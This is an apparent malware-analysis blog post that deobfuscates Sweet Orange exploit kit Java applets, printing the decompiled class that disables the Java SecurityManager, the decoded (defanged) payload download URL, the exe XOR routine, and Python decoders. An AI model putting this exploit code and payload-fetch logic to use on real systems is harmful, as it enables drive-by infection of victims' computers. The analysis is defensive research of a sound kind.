After serving fresh orange juice the other day(
Sweet orange EK analysis), grabbing all the evil files off the Sweet Orange exploit kit. We are now sitting here with piles of squeezed orange leftovers. What better idea than to go all the way and make some jam of the leftovers.
To the task of understanding, deobfuscating and reversing Sweet Orange EK JARs. I'm still working on my Python skills so I will throw in some Python code to learn. And my Java FU is not getting better so handling that code is not the way to understand what these bad guys are up to.
But lets see if we can figure out what theyre are up to this time. (see the link above if you need to look into how to pull the archives from the kit).
1. Pull the archive in jd-gui
Lots of strangly named class files. Note that YDXIOXz.bmbf is not even a class. We have located the Class with the applet where the execution starts, just have to look in the Init() method to see what fun stuff is done here
2. Init()
Not much; just instantiatin of QcVEtjNkP
3. Moving on
Finally something is happening: Reading that resource we noted right out of the archive YDXIOXz.bmbf. Creates the Class and moves on to instantiate the class.
Here is is the trick to execute priveleged: CVE-2013-0442; in more detail
here
The URL strings are manipulated this way
Here they build the URL to the exe payload they will fetch. Writing the file to java.io.tmpdir and setting it up be registered as a service and executed.
Finally here is how they manipulate the exe payload before they write it to disk.
4. Overview
So we have covered the basic outline of what the applet wants to do: read(probably a obfuscated class) from the archive, use the vulnerability in com.sun.jmx.mbeanserver.MBeanInstantiator to be able to load classes in previledged mode, invoke the YDXIOXz.bmbf mystery class and then fetch some eviel code and run that on some poor innocent guys computer.
5. Deobfuscation
To bring in some fun into this task, lets see if we can create some Python code to deobfuscate and decrypt their bad code.
5a. Lets look into the mystery resource
First thing first; read the file and replace the SPAM. Fortunately, as in opposite to Mony Python movies, we are allowed to remove the SPAM from these dishes. Whatch on
youtube
String str = nkkPPUO(QcVEtjNkP.class.getResourceAsStream("YDXIOXz.bmbf")).replace("^@@#[^]^###", "");
Start of original file: Definately ^@@#[^]^### SPAM in there
CA^@@#[^]^###FE^@@#[^]^###BA^@@#[^]^###BE^@@#[^]^###00^@@#[^]^###00^@@#[^]^###00^@@#[^]^###31^@@#[^]^###00^@@#[^]^###59^@@#[^]^###0A^@@#
[^]^###00^@@#[^]^###11^@@#[^]^###00^@@#[^]^###20^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###21^@@#[^]^###00^@@#[^]^###22^@@#[^]^###07^@@#[^]^##
#00^@@#[^]^###23^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###24^@@#[^]^###00^@@#[^]^###25^@@#[^]^###09^@@#[^]^###00^@@#[^]^###0D^@@#[^]^###00^@@
#[^]^###26^@@#[^]^###08^@@#[^]^###00^@@#[^]^###27^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###28^@@#[^]^###00^@@#[^]^###29^@@#[^]^###09^@@#[^]^#
##00^@@#[^]^###2A^@@#[^]^###00^@@#[^]^###2B^@@#[^]^###07^@@#[^]^###00^@@#[^]^###2C^@@#[^]^###07^@@#[^]^###00^@@#[^]^###2D^@@#[^]^###0A^@
@#[^]^###00^@@#[^]^###2E^@@#[^]^###00^@@#[^]^###2F^@@#[^]^###07^@@#[^]^###00^@@#[^]^###30^@@#[^]^###07^@@#[^]^###00^@@#[^]^###33^@@#[^]^
###08^@@#[^]^###00^@@#[^]^###34^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###0C^@@#[^]^###00^@@#[^]^###35^@@#[^]^###08^@@#[^]^###00^@@#[^]^###36^
@@#[^]^###07^@@#[^]^###00^@@#[^]^###37^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###3
After SPAM reduction; simple replace:
CAFEBABE0000003100590A001100200A002100220700230A0024002509000D00260800270A0028002909002A002B07002C07002D0A002E002F0700300700330800340A000C00350800360700370A003800390A0016003A07003B0A003C003D07003E07003F0100063C696E69743E010003282956010004436F646501000743616C6C53656301001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295601000A457863657074696F6E7301000372756E01001428294C6A6176612F6C616E672F4F626A6563743B0C001800190700400C004100420100136A6176612F6C616E672F457863657074696F6E0700430C004400450C0046004701000C7364667364667364667364660700480C0049004A07004B0C004C004D01000F6A6176612F6C6
Mmmm - SPAM reduction worked and looks like we are looking into a Java Class file which in hex starts with CAFEBABE. Just generate bytecode, disassemble and we have the class to look at(for details on dissasembly look
here):
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
import java.io.PrintStream;
import java.lang.invoke.*;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class disabler
implements PrivilegedExceptionAction
{
public disabler()
{
try
{
AccessController.doPrivileged(this);
}
catch(Exception exception) { }
}
void CallSec(SecurityManager securitymanager)
throws Throwable
{
java.lang.invoke.MethodHandles.Lookup lookup = MethodHandles.publicLookup();
System.out.println("sdfsdfsdfsdf");
MethodType methodtype = MethodType.methodType(Void.TYPE, new Class[] {
java/lang/SecurityManager
});
MethodHandle methodhandle = ((java.lang.invoke.MethodHandles.Lookup)lookup).findStatic(java/lang/System, "setSecurityManager", methodtype);
System.out.println("sdfsdfsdfsdf 5");
methodhandle.invokeWithArguments(new Object[] {
null
});
}
public Object run()
{
try
{
CallSec(null);
}
catch(Throwable throwable) { }
return Integer.valueOf(56);
}
}
Fun stuff: disabling the Java SecurityManager. Well chosen name disabler :) Kudos for originality. My choice: getRidOfSecurityManagerGoMakeSomeNiceGuysDayMiserable - But what do I know about JAva coding...
Instead I introduce the Python code to do it:
#@malforsec SPAM reduction and Sweet Orange java Bytecode maker
def decodeH(paramString):
str1 = ""
for i1 in range(0, (len(paramString)/2), 1):
str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
return str1
def main():
with open('resource.txt', 'r') as f1:
decoded_class = decodeH(f1.read().replace('^@@#[^]^###', ''))
with open('new.class', 'w') as fout:
fout.write(decoded_class)
if __name__ == "__main__":
main()
5b. The URL to fetch eveil code from the intertubes
Have in mind this is the applet tag variables:
name = "sSpwknEHBp
value = "103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj96sdj111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107sdj110sdj96sdj99sdj114sdj45sdj111sdj103sdj111sdj62sdj99sdj96sdj115sdj96sdj60sdj53sdj55sdj48sdj37sdj107sdj104sdj117sdj100sdj60sdj48sdj47sdj37sdj101sdj113sdj110sdj109sdj115sdj60sdj48sdj50sdj37sdj113sdj100sdj101sdj100sdj113sdj60sdj48sdj55sdj55sdj37sdj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj53sdj48sdj37sdj114sdj115sdj96sdj115sdj114sdj60sdj49sdj56sdj49sdj37sdj118sdj104sdj109sdj106sdj60sdj51sdj47sdj53sdj37sdj111sdj107sdj116sdj114sdj60sdj51sdj53sdj37sdj101sdj110sdj113sdj108sdj60sdj54sdj50sdj47"
name = "TvSRUWW"
value = "68sdj47sdj111sdj64sdj107sdj104sdj56sdj45sdj100sdj119sdj100"
name = "SyLIfT"
value = "108sdj96sdj115sdj103"
Definately more SPAM, spam, spam, spam...
Well lets just make some more Python code to verify what they are up to here; decoding URL + evil save file. I put the strings in there for convenience.
#malforsec Sweet ORange SPAM reduction, url and save file script
arrayOfString = [
"103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj96sdj111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107
sdj110sdj96sdj99sdj114sdj45sdj111sdj103sdj111sdj62sdj99sdj96sdj115sdj96sdj60sdj53sdj55sdj48sdj37sdj107sdj104sdj117sdj100sdj60sdj48sdj47sdj37sdj101sdj113sdj110s
dj109sdj115sdj60sdj48sdj50sdj37sdj113sdj100sdj101sdj100sdj113sdj60sdj48sdj55sdj55sdj37sdj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj5
3sdj48sdj37sdj114sdj115sdj96sdj115sdj114sdj60sdj49sdj56sdj49sdj37sdj118sdj104sdj109sdj106sdj60sdj51sdj47sdj53sdj37sdj111sdj107sdj116sdj114sdj60sdj51sdj53sdj37s
dj101sdj110sdj113sdj108sdj60sdj54sdj50sdj47",
"68sdj47sdj111sdj64sdj107sdj104sdj56sdj45sdj100sdj119sdj100",
"108sdj96sdj115sdj103"]
def makeStrOfInt(intArray):
str1 = ""
for i in range(0, len(intArray), 1):
str1 += chr(int(intArray[i]) + 1)
return str1
def makeURL(p1, p2):
url = p1+"&"+p2+"="
return url.replace('http:', 'hxxp: ')
def main():
print "URL to exe: ", makeURL(makeStrOfInt(arrayOfString[0].split('sdj')), makeStrOfInt(arrayOfString[2].split('sdj')))
print 'Save exe: java.io.tmpdir\\', makeStrOfInt(arrayOfString[1].split('sdj'))
if __name__ == "__main__":
main()
And the output:
$ python so_url_decode.py
URL to exe: hxxp: //familyteapie9.biz/uploads.php?data=681&live=10&front=13&refer=188&impressum=1261&stats=292&wink=406&plus=46&form=730&math=
Save exe: java.io.tmpdir\ E0pAli9.exe
Note: There should be a random number between 0-979 at the end of the url. But as you saw in my last post -> probably not needed.
5c. Exe manipulation
As we saw from the code, the evil doers dont just fetch the exe. They throw in some XOR Vodoo, or at least some XOR code to obfuscate what they are downloading.
Here is an example:
Here is the Java code used to fix it into an exe file(ParamString is the Key):
public static void seRQRYgMP(byte[] paramArrayOfByte, int paramInt, String paramString)
{
int i = 0;
int j = 0;
int k = 0;
int m = 0;
int n = 0;
int i1 = 0;
k = paramString.length();
byte[] arrayOfByte = paramString.getBytes();
i = 0;
j = 0;
while (i < paramInt)
{
n = Math.max(1, -932231);
if (i % Math.max(2, -932231) == 0)
{
i1++;
if (i1 == k)
{
i1 = 0;
n = 0;
}
}
if (paramArrayOfByte[i] == Math.max(0, -932231))
n = 0;
if (paramArrayOfByte[i] == arrayOfByte[j])
n = 0;
if (n == Math.max(1, -932231))
{
m = (byte)(paramArrayOfByte[i] ^ arrayOfByte[j]);
paramArrayOfByte[i] = m;
}
if (j < k - Math.max(1, -932231))
j++;
else
j = 0;
i++;
}
}
public htispD(OutputStream paramOutputStream, int paramInt)
{
}
}
Lets see if we can reproduce it in Python:
#@malforsec Sweet Orange exe deobfuscator
#Key is the parameter from the applet tag from the landing pane
key = "108sdj96sdj115sdj103"
def decodeH(paramString):
str1 = ""
for i1 in range(0, (len(paramString)/2), 1):
str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
return str1
def makeStrOfInt(intArray):
str1 = ""
for i in range(0, len(intArray), 1):
str1 += chr(int(intArray[i]) + 1)
return str1
def main():
keyarr = makeStrOfInt(key.split('sdj'))
new_str = ""
with open('so_exe_xored.txt', 'r') as f1:
inf = f1.read()
for i in range(0, len(inf), 1):
if ord(inf[i]) == 0 or ord(inf[i]) == ord(keyarr[i%4]) or i%8 == 6:
new_str += inf[i]
else:
new_str += chr(ord(inf[i]) ^ ord(keyarr[i%4]))
with open('so_infected.exe', 'w') as fout:
fout.write(new_str)
if __name__ == "__main__":
main()
Did we get it right? lets see the start of the exe:
0000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
0000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
0000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
0000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
0000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
0000060: 7420 6265 2072 756e 2069 6e20 444f 5320 t be run in DOS
0000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$.......
0000080: 5045 0000 4c01 0400 8554 4c51 0000 0000 PE..L....TLQ....
0000090: 0000 0000 e000 0e01 0b01 0237 0016 0000 ...........7....
00000a0: 004c 0000 0000 0000 1912 0000 0010 0000 .L..............
00000b0: 0030 0000 0000 4000 0010 0000 0002 0000 .0....@.........
00000c0: 0100 0000 0000 0000 0400 0000 0000 0000 ................
Looks perfect to me :)
6. Epilogue
So we have been able to verify that the SO EK is using CVE-2013-0422 as the vector to gain illegal access to others computers. How they obfuscate the code to lure researcher and evade detection mechanisms. We have dissected the code and finally we have not only freshlt sqeezed Sweet Orange juice but we have jam to go with the bread as well.
exe:
MD5: f633b5214319acb48353576d12165d90
VT:
12/46
tarball of the Python code
here
Happy Sweet Orange EK deobfuscation